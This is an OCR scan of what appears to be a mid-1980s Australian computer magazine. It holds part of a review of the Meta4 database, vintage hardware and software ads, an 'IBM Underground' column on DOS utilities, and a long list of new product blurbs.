rooms ‘objects’ is now clearer: although 
rooms certainly contain database records, 
they can also contain room descriptions, 
menu choices, lines of help text, report 
format information — even the ASCII char- 
acter sequences needed to control termin- 
al operation. The manual supplied with 
Meta4 is also included as a heirarchically 
arranged database in one of the supplied 
buildings. 

Figures 2 to 9 show the typical sequence 
of steps followed in creating new rooms. 
The options at each stage are clear, and as 
long as the user has aclear concept of what > 
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<USE><BUS><CUS>Customers by number 

SSS SSS eS ates Se Salers Ses sSs> Customers by number-~---------------DISPLAY CUS~- 

CCNO] CustNo.............. o00g0gg1 
CAID] Alpha ID............ GOODBODYM 
CNAM] *Full Name.......... Miss Mary Goodbody 

[CRO] Credit code......... B (Bad) 
CSTA] Status code......... 
CFOT) First contact date..12/12/1984 

CPHO] Phone............... O02 736 3721 

C1] CCAD] Address 

C23 (CCNM] Customers by name 

C3] CINV] Invoices 
C4] (CLET] Letters to this customer 
CS] CNOT] Notes on this customer 

aaa ea C? or Fl] tor HELP> C# or F2] to GO BACK» reter HELP tor more-~-------- 
Choose one ot the above Ccaodes] to go on. ee 

Figure 10. BUSINESS Customers by Number — in display mode (record = 000001). 

This is the room constructed in figures 5 to 9. 

rooms, doorways and objects are all about, 
the process for creating simple structures, 
complete with appropriate help text, is 
quite straightforward. Figure 10 shows the 
specific room created in steps five to nine. 

More complex structures require corres- 

pondingly complex desig.is, although the 
design and construction procedure re- 
mains the same. Meta4 is well suited to 
incremental construction techniques — it 
is easy to construct separate sets of data 
items and tie them together after the indi- 
vidual elements of the complete database 
have been separately implemented. 

Report generation also ranges from easy 

for simple reports, to complex for adv- 
anced reports. The printout can be turned 
off or on at any time, so the automatic 
listing facility in the list mode on room 
entry can be used for the simplest style of 
report. There is a quick report facility where 
reports relating to objects ina single room 
can be designed and saved. Again, as in all 
of Meta4, the report design is a database, 
so the procedure for answering the ques- 
tions and examining the structure of the 
reports is the same as for all other parts of 
the system. 

In addition there is a custom reporting 
facility, which is significantly more com- 
plex than quick reporting, but can be used 
to produce correspondingly more complex 
reports. Reports can draw on data in any 
number of rooms in any number of build- 
ings. Complex calculations and table look- 
ups can be performed, and there is ample 
scope for formatting. Custom reporting in- 

volves creating records in about six diffe- 
rent rooms, but some of the steps can be 
skipped if the report does not use all the 
available facilities. 

Similar comments apply to the report- 
ing function as to the rest of the system — 
the procedures are not complex, but they 
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do require a different way of thinking about 
the whole concept of what a database is 
and how it can be used. 

Most confusion in Meta4 is not of the 
form “How do | do this?”, but rather, ‘I 
know what I have to do but where do | have 
to go to do it?” This is the one area in which 
the manual falls short — it contains no 
brief summary of the function of each of 
the rooms in the builder's construction. 
Such a summary, arranged according to 
general function, would provide the only 
further reference | feel is necessary after 
going through the tutorial and coming to 
grips with the basic concepts. Perhaps the 
first exercise for the practising adventurer 
would be to create such a reference list! 

The Building Environment 

Meta4 runs on CP/M-80 and MS-DOS 
machines, although the 8-bit version does 
not contain as many facilities as the 16-bit 
(mainly in the area of custom reporting). 
For MS-DOS it requires at least 128 Kbytes 
of memory. Versions are also available for 
Unix and some of its variants, as well as for 
some custom operating systems and some 
multi-user systems. 

The package is written in compiled Mic- 
rosoft BASIC, and operates with excellent 
speed in all functions, except perhaps for 
very complex custom reporting. The data 
records are maintained with an ISAM (In- 
dexed Sequential Access Method) storage 
technique supporting variable length re- 
cords in fixed length blocks. The access 
technique is B-tree. The low level ISAM 
routines are included in BASIC source 
code to permit the system designer to 
access the data for custom purposes. 

The package does not require a highly 
intelligent terminal, though it can take 
advantage of features such as highlighting 
and colour. It is usually supplied confi- 

gured for a particular system, but can be 
supplied for a simple dumb terminal. Sup- 
port for about 30 different models of MS- 
DOS machines was included in the de- 
monstration system. Although Meta4 
works adequately with a dual floppy sys- 
tem, it really needs a hard disk to make it 
Shine. Allocation of data files to different 
drives is achieved by nominating the drive 
name as part of the building name. Meta4 
supports function keys where available. 

The 16-bit version is supplied on a Pro- 
loked disk, which means the master disk 
must be in the drive when Meta4 is booted, 
even if the actual programs are read from 
the hard disk. After booting, the Proloked 
disk can be removed. This is no better or 
worse than other protection schemes, 
though the disk seems to make a terrible 
grinding noise as it checks for the Prolok 
Signature. 

Meta4 allows up to 20 buildings. Each 
building is a separate file, so it can be as 
large as one disk — Meta4 can be told to 
prompt for a disk change on accessing a 
new building. There can be any number of 
rooms in each building, and as many re- 
cords as you like in each room. There can 
be up to 255 questions per room (but more 

than about 20 would be impractical) witha 
maximum record size of 250 characters. 
IDs can be up to 70 characters long. In 
practice, these limitations are not relevant, 
because of the ease of defining associated 
records. 

Facilities exist for exporting data into 
simple ASCII text files, for processing ina 
word processor or custom application. 
Data can also be imported in bulk, either 
from previously exported data or from data 
created elsewhere, although in this case a 
fairly rigid format must be adhered to. This 
import/export facility also allows easy 
database repair, although the system 
seemed extremely crashproof. 

There have been previous attempts to 
produce non-procedural database sys- 
tems, but they have been so difficult to use 
they were really only suitable for the sys- 
tems developer. Meta4 is certainly usable 
in this role — a major package called 
SAMM (Sales and Marketing Manage- 
ment) written in Meta4 is already on the 
market — but unlike previous efforts, 
Meta4 is genuinely accessible to the non- 
programming end-user. The hardest part 
of the exercise is getting into the concepts 

of a completely non-procedural applica- 
tions development system, but this may 
actually be easier for a computer neophyte 
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Meta4 easily competes 
with more expensive 

packages in its power and 
reliability. It is well ahead 
of other systems in its 

flexibility and consistent 
user interface. 

than for an experienced programmer. 
The advanced features of Meta4 are cer- 

tainly hard going — both for the newcomer 
and the experienced user — but a great 
deal of powerful data manipulation can be 
done without becoming involved in the 
advanced techniques. 

Meta4 is an exciting package so different 
from existing database systems that com- 

Microbee 

H ACKE R
’ ‘eg Computer’ a 
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parison is difficult. In fact, it is so different 
that potential users may regard the re- 
thinking needed as not worth the effort. 
But the concepts of Meta4 might be the 
way database software will have to prog- 
ress in the future if the information revolu- 
tion promised by the powerful new hard- 
ware technology is to be realised. After a 
week of playing with the package | think 
this is precisely what will happen. 

The system is priced at $195 for CP/M 
and $395 for MS-DOS, plus packaging and 
delivery. This sensible pricing policy may 
create a backlash for System Solutions, as 
the small computer user has become con- 
ditioned to prices for software of this qual- 
ity in the $600-S1000 region. Meta4 easily 
competes with these more expensive pack- 
ages in its power and reliability. It is well 
ahead of other systems in its flexibility and 
consistent user interface. 

In ease of use it falls in the middle 
ground — the completely non-procedural 
approach gives it an enormous advantage, 
and most tasks are at least as easy as other 

From the publishers oe 
of ‘ETI’ and ‘Your. 

systems. However, complex applications 

can require considerable time and careful 
thought to implement. Of course, at this 
point we are talking about a level of data- 
base complexity that is simply not avail- 
able in many other systems. 

Late note: Meta4 has gone through an 
upgrade, and is now Meta-5GL. The change 
emphasises its fifth-generation language 
pretensions, but destroys one of the a 
artful puns in the industry. 
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DD and soft projects 
for Bees of all 
vintages 

\ 
\ 

For Bee owners who like to : 
I 
! The Microbee Hackers Handbook will tell you how to get more from the 

Bee’s graphics capabilities; How to set up for telecommunications on the 
Bee; How to play music on the Bee; How to build a joystick and a light 
pen for the Bee; How to get hard copy — cheaply; How to expand your 
16K Bee to 32K; How to make the Bee a better games machine; How to 
turn your Bee into a facsimile decoder; How to solve equations on_the 
Bee ... and much more. 

@ Fxplore the innards of their 
machine / 

@ Experiment with practical _ / 
programming / 

; . 4 

@ Put their soldering // 
irons to Fs 

use vas 

a) $6.50 We’ve also included list-||For sociable Hackers 
ings of the Bee’s BASIC ||there are the contact 
scratch area and machine | |addresses_ and phone PA AUST 
language locations — to 
make the Hacker’s pur- 
suits easier. 

numbers of all known Ae Ee $6. 95 NZ 
Microbee user groups. z= 

At your local newsagent, or from ETI Book Sales, 140 
Joynton Avenue, Waterloo 2017. 
(Please add $1 to the cost of the waits 
magazine, to cover postage and | ie 
handling.) 



Now Whatsisname has made 
a modem that quite simply 

outperiomms all others. 

The full duplex SmartModem’ 1200/2400 
ot on the heels of producing 
Australia’s first IBM PC 

In/Modem, NetComm has now 
created the SmariModem* 
range; equal to the latest 
technology about to be 
introduced in the US, with 
applications for all PC’s, minis 
and mainframes. 

Put simply, there is no other 
modem that offers so much. 
Unsurpassed for ease of use, 
functionality, accuracy and 
reliability, if combines state of 
the art Digital Signal Processing 
and Integrated Analog VLSI 
componenis. 

It supports synchronous or 
asynchronous transmission, is 
Hayes Smartmodem 
compatible, and has autodial, 
autoanswer and 
autodisconnect facilities. 

It allows you To talk PC to 
PC, mainframe to mainframe 
or PC to mainframe, and to 
access nearly every database 
or infoboard. 

It features amazing 
Automatic Dynamic 
Configuration— which means it 
adjusts automatically to the 
soeed and mode of the other 
on-line modem (whether it 

Australia’s Network to the World 

originates or answers) — which 
makes it the ideal modem for 
central site hosts. 

And if does much, much 
more. 

All of this technology is 
packed into a case so 
compact, that it'll fit under your 
tohone handsef. And unlike 
most others, these modems are 
totally conceived, designed 
and made in Australia. 

Whether you're a PC, mini 
or mainframe user, you owe It 
to your computer fo check out 
the NetComm SmartModem* 
1200/2400 family today. 

NetComm (Aust) Pty Ltd PO Box 284 Pymble 2073 NSW Tel=(+ 61:2) 498 5577 Telex=Sycom AA27113 (NETCOMM) 
Minerva=58: DNCO002 Viatel= 249855770 NE4FP 
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Were going to 
Jazz up 

your business! 
Jazz is an exciting and easy- 
to-use new business tool. It’s 
a whole new breed of soft- 
ware that'll be music to your 
Macintosh. 

Introducing Jazz” from 
Lotus* the first multi- 
functional business soft- 
ware for the Macintosh” 
$12K. Jazz could quite 
possibly be the sail soft- 
ware you and your 
Macintosh will ever need. 
Jazz offers worksheet, 
graphics, word 
processing, database 
and communications. 
Perform each function independently, 
or combine functions as you need them. 

For further information contact 
Imagineering on (02) 212 1411. 

For FREE Training and Seminars 
Call Imagineering Ext. 102. 



JOHN HEPWORTH 

THIS MONTH I want to share with you a 
few of the tiny, essential programs | use all 
the time. They make my life easier, and 
make use of my IBM just that much simpler 
and more flexible. 

If you've read my previous columns 
you ll know I use DOSEDIT as a ‘DOS com- 
mand processor’, like a mini word proces- 
sor for DOS commands. | also use SHELL, 
as recommended by Bill Bolton in his 
Operating System column in the March 
issue of Your Computer. Both of these are 
automatically invoked through my AUTO- 
EXEC.BAT file. 

CAT 

A third program | use at the end of my 
AUTOEXEC BAT file is CAT. 

As the name suggests, this is a cata- 
logue program, but there’s more to it than 
that. If you use DIR or DIR/w to list files in a 
directory two opposite problems arise. DIR 
gives a lot of detail on each file, one file to 
a line. DIR/w just lists the filenames in five 
columns, without file sizes and so on. In 
both cases the filenames are in no specific 
order, and it takes quite a lot of searching 
of a big listing to find the desired file name. 

CAT bridges the gap: it prints a directory 
in fourcolumns, and gives a file size round- 
ed up to the nearest kilobyte. The real 
bonus is that it also lists the files in 
alphabetical order, grouping files with 
similar filenames and different extensions 
together. 

The last line in my AUTOEXEC BAT file 
reads “CAT *.”, and gives me a list of all the 
subdirectories on the hard disk, in four 
columns and alphabetical order. Makes 
life easy! 

ALTER allows you to set, 
or reset to normal, the 

read only, hidden, system 
or archive bits for any file 

in any drive in any 
subdirectory. 

Output from CAT uses standard DOS 
function calls, and can be redirected to a 
file, using syntax like ‘CAT 
>filename.filetype’ or ‘CAT 
>>filename filetype’ if the data is to be 
appended to the target file. 

WHEREIS 

WHEREIS is a fabulous little piece of prog- 
ram gadgetry. It looks in every directory 
and subdirectory of the default drive for 
the designated file, and then lists all files 
meeting the specifications, complete with 
the path from the root. The listing below 
shows the syntax and the results. | used 
wildcard characters (? or *) to find every 
file on the C drive with a filename starting 
with ‘BA’. 

\BASIC 

.BASIC\BASIC.COM 

\BASIC\BASICA.COM 

\DOS\BASICA.COM 

\UTILITY\BASICA.COM 

\WORDPRO\ BASICA.COM 

Try to live without it after using it just once 

ALTER 

In DOS 2.xx and later, all files can be 
marked as ‘read only’, ‘hidden’, ‘system’ or 
‘archive’. 

If an attempt is made to erase a file 

marked read only, DOS returns the mes 
sage ‘file not found”, and the file remains 
intact. Attempts to write to such files trom 
BASIC, WordStar, Lotus andsoonsimilar » 

ly foiled. BASIC cannot load a program 
marked read only. 

Hidden files are not displayed when a 
DIR command is issued. IBMBIO.COM and 
IBMDOS.COM are classic examples It is 
also possible, by setting the hidden attr 
bute bit, to make other files hidden, so 
someone coming casually past your com 
puter can't find all your secrets with asim 
ple DIR. Usually they must be ‘unhidden’ 
to run. 

Executable files (with BAT, EXE or 
-COM extensions) cannot be found by DOS 

if hidden, and programs with overlay files. 
like WordStar, usually cannot find them if 
hidden. 

IBM UNDERGROUND 

System files are used to set up the com- 
puter when booting — examples are CON- 
FIG.SYS and ANSI.SYS. 

The archive bit records files changed 
since last backup, and allows the DOS 
command BACKUP /M to backup only 
those files modified since last backup. 

All very well, you say, but what has this 
to do with ALTER? Quite simply, ALTER 
allows you to set, or reset to normal, the 
read only, hidden, system or archive bits 
for any file in any drive in any subdirectory. 
DOS 3 xx allows setting of the read only bit. 
Norton Utilities version 2 allows resetting 
of all four, but not on all hard disks. Only 

ALTER is truly universal. 
Disadvantages? Only one. Wildcard file- 

names don't work — if you want to ALTER 
100 tiles, you will have to type in the details 
[O00 times (but DOSEDIT will simplify even 
this. task) 

XDIR 

Quick and easy this one. The DOS com- 
mand DIR shows filename, creation date, 
file size and so on. It doesn’t show which of 

the tile attributes are set. XDIR solves this 

litthe problem It gives a listing like a nor- 
tal DIR listing, and adds details of the file 
alttibutes: set on each file. 

Automatic Path 

[keep CAT, WHEREIS, ALTER and XDIR in 

a Utility subdirectory on my hard disk, and 
my AUTOERXEC BAT file has a line 

PATH C:UTILITY 

so, regardless of which disk or subdirectory 

Is the default, they are always available. 
This subdirectory usually has about one 
mepabyte of handy programs in it, ready 
lor use f can recommend that you also 
create an automatic path to whichever 
subdirectory holds your copies of CAT, AL- 
TER, XDIR or WHEREIS. 

The Sydney IBM-PC User Group has a 
Bulletin Board up and running, courtesy of 
Grace Bros Computer and Business Centre 
In Sydney, which has permanently loaned 
the group a PC complete with hard disk, 
and has made space available for it in the 
store Each month | will upload to this 
board the software discussed in ‘IBM 
Underground’ 

At the moment the board is being de- 
bugged, and will be open only to members 
of the user group. Later, other people will 
be able to get access. There’s a good 
reason to join the Sydney group right now! 

O 
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Aussieword 
Computer Exchange, (02) 698 8855 
Price: $99 
A word processor designed for 
the non-technical user. Currently 
available for CP/M-80 with a PC- 
DOS version soon to be released. 

Cashmaster Fleet 
Management System 

Entrepreneur 

Microsoft, (02) 452 5088 
Price: $95 
For the Macintosh. Entrepreneur 
simulates the management of a 
software company, tracking in- 
ventory, production, profit and 
other business statistics for a 
period up to 36 months. The prog- 
ram is aimed at people with ex- 
perience in business as well as 
management hopefuls, and is de- 
signed to teach business basics. 

Cashmaster Fleet Management System 

- Alpha numeric key pad 

Journal 
roll printer 

gp "eS 
tandalone © -._ | 

datalogger 

en / 

Fuel pump 
controllers 

\ 

Dataentry 
keyboard 

Cashmaster, (02) 699 1922 
Price: Around $20,000 for full 
system including computer. 
Cashmaster enables managers to 
keep close tabs on fuel usage, 
profit or loss on vehicle opera- 
tions, servicing requirements and 

overall profitability. The system 
uses fuel pump controller and 
data logger technology de- 
veloped in Western Australia. Re- 
ports produced include vehicle 
costings, vehicle usage, deprecia- 
tion on vehicle fleet, and vehicle 
comparison reports. Designed for 
minicomputers or MS-DOS- 
based microcomputers. 

Computer Baseball 
Strategic Simulations Inc, 883 Stier- 
lin Road, Building A-200, Mountain 
View CA 94043-1983, USA, (415) 

964 1353 

Price: USS39.95 
Manage your favourite baseball 
team (or manufacture your own) 

and let them bat it out in high-res. 
For the Apple II, Atari, Commod- 
ore 64 and IBM PC. 
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| MICROCOMPUTER WITH FLEET CONTROL 
REPORTING SOFTWARE 

Estimator Il 
Data Base Management Services, 
(03) 523 5947 

Price: $2500 
An estimating tool designed spe- 
cifically for the building, en- 
gineering and related industries. 
Estimator allows the user to ev- 
aluate and analyse estimates and 
resource requirements for all 
aspects of a project. Suitable for 
both large and small companies, 
the program will run under MS- 
DOS, PC-DOS or CP/M-86. 

Excel 
Microsoft, (02) 452 5088 

Price: $750 (less if upgrading). 
Excel is an advanced spreadsheet 
for the 512 Kbyte Macintosh. It 
combines business graphics and 
an on-sheet database with a 
spreadsheet which includes ac- 
tive sheet linking, automatic mac- 
ros, user-defined functions, array 
handling and two-way file com- 
patibility with Lotus 1-2-3. 

NEW PRODUCTS 

Hotel 2000 — Hotel 
Management Package 
Softcode, (03) 529 8155 
Price: $7400 for full three- 
module system. 
A comprehensive hotel manage- 
ment system for hotels or motels 
providing accommodation for be- 
tween 25 and 400 persons. Hotel 
2000 handles reservations, recep- 
tions and billing, with complete 
integration between the three 
modules. Printed reports pro- 
duced by the system allow de- 
tailed business forecasting. Peo- 
ple with no previous computer 
experience can operate the sys- 

tem easily, and it runs on IBM PCs 
and compatible machines. 

Mech Brigade 
Strategic Simulations Inc, 883 Stier- 
lin Road, Building A-200, Mountain 
View, CA 94043-1983, USA, (415). 

964 1353 

Price: USS59.95 
An advanced tactical war game 
for the Apple and Commodore 64 
computers. NATO fronts up to the 
Reds. 

Micro Tel Terminal Software 
Chatswood Digital Centre, (02) 419 
7588 

Price: $100 
Micro Tel allows Digital’s Rain- 
bow computers to be used as 
Viatel terminals. Features in- 
clude: Prestel terminal emula- 
tion, with double-height charac- 
ters, contiguous and separated 
mosaics and blink; built-in help 
screens; textfile transfers to 
Viatel and text dumping to a 
printer. 

Microsoft Word Version 2.0 
Microsoft, (02) 452 5088 
Price: $595; $765 for Word plus 
Mouse. 

The new Word provides full sup- 
port for enhanced graphics hard- 
ware on the IBM PC and for the 
80286 processor of the PC AT. 
Other features are built-in 
hyphenation, ready-made style 
Sheets, improved page-breaking 
and interactive pagination. MS- 
DOS commands can be run from 
within Word, as can the Spell 
program which has been included 
(Australian buyers will get the En- 
glish version of Spell’s diction- 
ary). Computer-based training is 
included with the system. 

Multi-user Power Software 
Powercorp, (02) 816 222] 

Price: $4995 excl. tax 
Six months’ development went 
into producing the multi-user 
version of Power accounting soft- 
ware for MS-DOS computers. File 
and record locking are provided 
and a new Power utility allows 
information from Power files to 
be exported to other software 
such as spreadsheets, and the re- 
sulting information returned. The 
five standard modules are deb- 
tors, stock, general ledger, credi- 
tors and order entry. Word pro- 
cessing, report generation and 
forms design utilities are in- 
cluded with the system. 

Nu Business Accounting 
Software 
Computer Exchange, (02) 698 8855 
Price: $725 per module. 
An integrated, modular system 
which runs on the IBM PC and 
compatibles. Particularly suited 
to multi-project, multi-company 
accounting. 

Omnis 3 
Software Corporation of Australia, 
(03) 663 6011; (02) 328 7074 

Price: $730 
Lack of a heavy-duty database 
has limited the usefulness of the 
Macintosh. Omnis 3 combines an 
easy-to-use applications gener- 
ator with a hierarchical/relational 
database manager. Users can cre- 
ate their own pull-down menus, 
help screens, report layouts and 
mouse buttons, with 60 files per 
database and 12 files open at 
once. A512 Kbyte Macintosh with 
a second disk drive is needed. 

Options 
Personal Computer Software, (02) 
923 2899 

Prite: $349 

Options allows you to perform 
multiple ‘what-if’ analyses auto- 
matically with a spreadsheet. 
With Options it is possible to in- 
put a range of values (instead of a 
specific value) into each cell of 
the model. The program then 
generates random values for 
these ranges and produces the 
output (such as a net profit fi- 
gure). It performs its calculations 
with 1000 different, randomly 
generated values, and produces a 
graphic or numeric report of the 
probability of achieving certain 
profit levels. 



Osprey! 
Systems Research Institute of 
Australia, (09) 325 7644 
Price: $45 
Osprey! is part of the Bourne 
Educational Software series. It in- 
troduces students to wildlife con- 
servation and provides project 
ideas. Students are given the re- 
sponsibility of protecting the pre- 
cariously small Scottish osprey 
population from huntsmen, 
sightseers and the weather. The 
success of students’ decision- 
making is displayed on screen, 
and extensive use is made of 
three-dimensional moving 
graphics. Complete with 32-page 
booklet giving instructions and 
background information. 

Savvy PC 
Aladdin Computer Services, 
(03) 531 4173 

Price: $575 
Savvy PC combines artificial in- 
telligence capabilities, an operat- 
ing system with virtual memory 
management, an adaptive pat- 
tern recognition processor, a 
highly structured programming 
language and a relational data- 
base manager into a single inte- 
grated system. Savvy's vocabulary 
can be expanded by defining 
tasks and functions, and each 
command can have several 
names (such as ADD, +, INCRE- 
MENT, ADD ‘EM). For MS-DOS/ 

PC-DOS systems. 

Sceptre 11 CAD 
Rifa, (03) 480 1211 

Price: $2000 
This menu-driven computer- 
aided design package runs on 
IBM PCs and compatibles. It pro- 
vides facilities for designing cus- 
tom integrated circuits using 
standard cell and gate array tech- 
nology. Design engineers can en- 
ter the complete logic diagram in 
schematic form and verify opera- 
tion using the logic simulator. 
The circuit is then laid out on the 
screen in a manner similar to 

printed circuit board layout. It has 
the capability to prevent violation 
of process design rules. 

Six Gun Shootout 
Strategic Simulations Inc, 883 Stier- 
iin Road, Building A-200, Mountain 
View, CA 94043-1983, USA, (415) 

964 1353 

Price: USS39.95 
A multiple-scenario simulation of 

man-to-man (the boys are at it 
again) combat. Your choice of 

weapons. Runs on Apple lle, Atari 
and Commodore 64. 

Sybiz Plus 
Sybiz Software, (02) 957 6838; (03) 
419 9909; (08) 51 4031 

Price: $795/main module; $345/ 
ancillary module. 
Sybiz Plus is being marketed as 
an alternative to the well-known 
Sybiz accounting software. A 
plethora of new features has been 
included, such as a viewing win- 
dow which lets the operator check 
any account in the system with- 
out interrupting the current 
chore. An in-built calculator and 
maintenance program are avail- 
able, and a new module for pro- 
fessional invoicing (for accoun- 
tants, engineers and suchlike) 
has been produced. 

Tetraplan Accounting 
Soft ware 
Focus Business Systems, (Q2) 411 

7455 

Price: $1490 per module for the 
PC-AT version. 
If you can get your hands on an 
IBM PC-AT (or a larger Unix- 
based machine), Tetraplan pro- 
vides a fully integrated account- 
ing system avoiding duplication 
of transactions. System functions 
are chosen froma series of menus 
and operator prompting is pro- 
vided at each stage. The system is 
suitable for complex tasks includ- 
ing multi-company ledgers, mul- 
tiple bank accounts and foreign 
currencies. The system was writ- 
ten in C. 

Wings of War 
Strategic Simulations Inc, 883 Stier- 
lin Road, Building A-200, Mountain 
View, CA 94043-1983, USA, (415) 

964 1353 

Price: US$39.95 
For advanced Commodore 64 war 
gamers. Strafe your favourite vil- 

lage using any one of 36 famous 
fighters or bombers (all lovingly 
created in minute detail and 
bristling with historical accuracy). 

Zim Information Management 
System 

Computer Clarity, (02) 241 3385 
Price: $1400 for single-user MS- 
DOS version. 

Zim is a database system which 
implements the ‘Entity- 

NEW PRODUCTS 

relationship. The E-R model 
builds on the relational model by 
incorporating the relationship 
between data items into the de- 
finition and structure of the data- 
base. Zim enhances customisa- 
tion of information systems and 
provides multi-user support. It is 
available for the Unix, Xenix, Qnx, 
PC-DOS and MS-DOS operating 
systems. 

Brother WP-600 Word 
Processor 

Brother Industries, (02) 211 2144 
Price: $600 plus $330 for 
optional disk drive. 
A briefcase-sized word processor, 
designed for executives, the WP- 
600 has 14.3 Kbytes of built-in 
memory, can be mains or battery 
powered and has a standard 
RS232C interface to allow it to 
function as a terminal/printer on 
a personal computer. The com- 
panion FB-100 disk drive 
accommodates floppy disks with 
a 100 Kbyte capacity. Files are 
printed on the built-in printer, 
which takes A4 plain or thermal 
paper. The unit weighs 2.9 kg. 

Fairlight Computer Video 
instrument 
Fairlight. (02) 331 6333 

Price: $6500 
Australian company Fairlight has 
gained world renown for its Com- 
puter Musical Instrument. The 
Computer Video Instrument with 

Revision 4 software is suited for 2 
cm (three-quarter inch) commer- 
cial production and is also a tool 
for use in music, video, educa- 
tional and artistic applications. 
The wide range of real-time digit- 
al effects includes colour genera- 
tion and modification (over 4000 
colours), mattes, chroma-key, 
pixelation, strobe and titling. The 
menu-driven software provides 
ease of use. 

Robo 1500E 
Robocom Australasia, (03) 80 5873 
Price: $8000 for system includ- 
ing A3 plotter. 
The 1500E is an enhanced version 
of Robocom’'s original 1500 CAD/ 
graphics system. Improved edit- 
ing speed, simplification of find 

point routines, fine tuning of arcs, 
eight automatic hatch operations 
and automatic dimension are the 
major enhancements. Using the 

‘Bit Stik’ input device, input be- 
comes a natural extension of the 
draftsperson’s drawing skills. 

Tava PC/Tava Turbo 
Interfaceware, (02) 46 4374 
Price: $2995; $4200 for the 
Turbo. 
The Tava PC is IBM compatible 
and comes in a standard con- 
figuration of two 360 Kbyte floppy 
disk drives, 256 Kbytes of RAM, a 
colour graphics card, an 8088 pro- 
cessor operating at 4.77 MHz (the 
IBM standard) and one serial and 
one parallel port. The Turbo has 
the same setup, but provides 
dual-speed operation: its proces- 
sor is the 8088B and a switch on 
the machine lets you run it at 4.77 
MHz (to maintain strict IBM com- 

patibility) or at 8 MHz to gain a 
marked processing speed im- 
provement. The machines have a 
one-year warranty. 

Ampex 230 VDT 
Datascape, (02) 969 2699; (03) 

690 3622 
Price: $960 excl. tax 
The Ampex 230 is a 35.5 cm dis- 
play terminal with 32 non-volatile 
function keys (with memory of 
6400 bytes), compressed 1|32- 
column mode, double height and 
width characters, addressable 
cursor and four-speed smooth 
scroll. Emulation of high-range 
Ampex terminals, Televideo mod- 
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els up to the 950 and Wyse 50 is 
provided, 

BoB Board 
Imaginecring. (O02) 212 1411 
Price $945 excl tax 
The BoB Board boosts screen re- 
solution on the IBM PC from the 
standard 420 by 200 pixels to 720 
by 380. High-resolution graphics 
can be added to the board for 
another $945 The extended 
graphics set provides graphics re- 
solution of 320 by 400 pixels 

Brother 2024L Dot Matrix 
Printer 

Brother Industries, (02) 211 2144 

Price: $1800 

The top-end printer in Brother's 
det matrix range, the 20241. has a 
printing speed of 160 characters 
per second in draft mode, 96 char- 
acters per second in letter quality 
elite, and 80 chatacters per 
second in letter quality pica. 
Optional auto cut sheet feeders 
allow the printerto handle A4 and 
B4 paper 
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Brother HR-15XL Daisywheel 
Printer 

Brother Industries, (02) 211 2144 
Price: $800 
A ‘light-duty’ printer with 3 Kbyte 
buffer, text reprint and shadow 
print functions and bi-directional 
printing. Comes equipped with 
either a Centronics or RS232 in- 
terface, and is compatible with 
most small computers. Supports 
sub- and superscripts, auto- 
underlining and proportional 
Spacing. 

Colour Pinwriters 
NEC Information Systems Australia. 
(02) 419 6199 

Price: cP2 — $965; cP3 — 
$1290 excl. tax 
These colour printers feature 
seven-colour (plus black) printing 
capability, eighteen-wire print 
heads and three printing speeds 
— 180 characters per second 
(cps), 90 cps for ‘correspondence 
quality’ and 30 cps for near letter- 
quality The cP2 is an 80-column 
model and the cP3, 136-column. 

NEW PRODUCTS 

Facit 4509 Dot Matrix Printer 
EAI-Electronic Associates, (02) 427 
3322: (03) 699 7100 

Price: $1260 
The 4509 has all the features of 
the standard IBM PC printer with 
a higher throughput of 60 full 80- 
character lines per minute. The 
IBM/Epsom command set pro- 
vides different fonts, pin graphics 
and one- or two-pass printing. 
Hard copy of all setup parameters 
can be produced, simplifying in- 
stallation. 

Labtam Mouse 
Labtam (03) 587 1444: 

(O2) 411 2588 

Price: $885 

Labtam has produced a two- 
button mouse unit which con- 
verts mouse movement on the 
desktop to cursor movement on 

the screen. The mouse cable con- 
nects to any Labtam 3000 series 
computer via its own interface 
box and the computer's parallel 
input connector. (For computers 

built before July 1984 it is neces- 
sary to do a small patch to the 
rear panel card to provide power 
to the connector.) Labdraw soft- 
ware is included in the price 

Multimodem — Baud Rate 
Converter 

Avtek, (02) 427 6688 

Price: $129 

The split baud rate converter is an 
optional addition to Avtek’s Mul- 
timodem. It lets your computer 

communicate at 600 or 1200 baud 
with a back channel of (usually) 
75. The converter accommodates 
computers such as TRS80 and 
Commodore which cannot sup- 
port 1200/75 baud rates as they 
stand. 

PC-Disk 
Alloy, (03) 51 5278 

Price: From $2995 
Alloy’s new range of hard disk sys- 
tems for IBM PCs, compatibles 
and other MS-DOS machines has 
capacities of from 20 to 170 
Mbytes. Data transfer rate is 5 
Mbits per second and the system 
may be booted directly from the 
hard disk. The disks have their 
own power supply, and use a 
short slot on the host computer. 

Polaroid Palette for Digital 
350, 380 
Polaroid, (02) 887 2333 
The Polaroid Palette (a finalist in 
the 1985 Computer of the Year 
awards) is now available on Digit- 
al’s 350 and 380 Professional de- 
sktop computers. The new Palette 
allows graphics, generated with a 
range of powerful software, to be 
converted to low-cost high- 
resolution instant 35 mm slides 
or instant prints. 

Primix 

Prime Computer of Australia, 
(02) 929 0044 
Prime’s version of Unix. Users can 

switch between the flexible Unix 
programming environment and 
the Primos environment with its 
many applications programs. 
Prime’s C compiler is included, 
with source level debugger, 
Emacs editor and data manage- 
ment and CAD/CAM utilities. 

Transdata 192 Converter 
Lamron, (02) 808 3666 

Price: $150 

An RS232 serial to Centronics pa- 
rallel (and vice versa) converter, 
this compact unit is based on 
CMOS technology and supports 
data rates of up to 19.2 Kbaud. 
The data conversion type and 
direction is easily selectable by 
dip switch. Designed and de- 
veloped in Australia, the Trans- 
data Converter gives users free- 
dom of choice in peripherals re- 
gardless of what type of port is 
available on their computer. OU 
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Commodore make software for people. All kinds of people. Software for fathers, 
mothers, brothers, sisters, uncles, aunts, nieces, nephews, grandparents and 

even brothers-in-law who fix cars. Everybody. Software for fun, profit, homework, 
housework and officework. We do not however, make software for dogs. Yes, we 
are working on it, but as research in this area is fairly limited, we're calling for all 

the help we can get. If you have any suggestions please contact your nearest 
Commodore dealer. 

C= commodore 
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Contact your nearest Commodore dealer or Commodore Business Machines: 
sydney: (02) 427 4888 Melbourne: (03) 429 9855 Brisbane: (07)393 0300Perth: (09)389 1266- 
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3270-PC 
Lotus has released a special version of 
1-2-3 for the IBM 3270-PC. This machine is 
a strange one; a PC developed separately 
from the other PCs and not completely 
compatible with them. As well as its PC 
operation it is intended to connect with an 
IBM mainframe computer. Its keyboard 
has separate cursor and numeric keypads, 
24 function keys above the typewriter 
keyboard, enlarged Return and Shift keys, 
but the Shift and Return keys are stillin the 
wrong place! Its special feature is its 
beautiful colour display screen, model 
5272. This is bigger than the IBM PC dis- 
play (33 cm compared with 30 cm), and has 
a sharper, crisper image. It comes com- 
plete with a swivelling and tilting base. It’s 
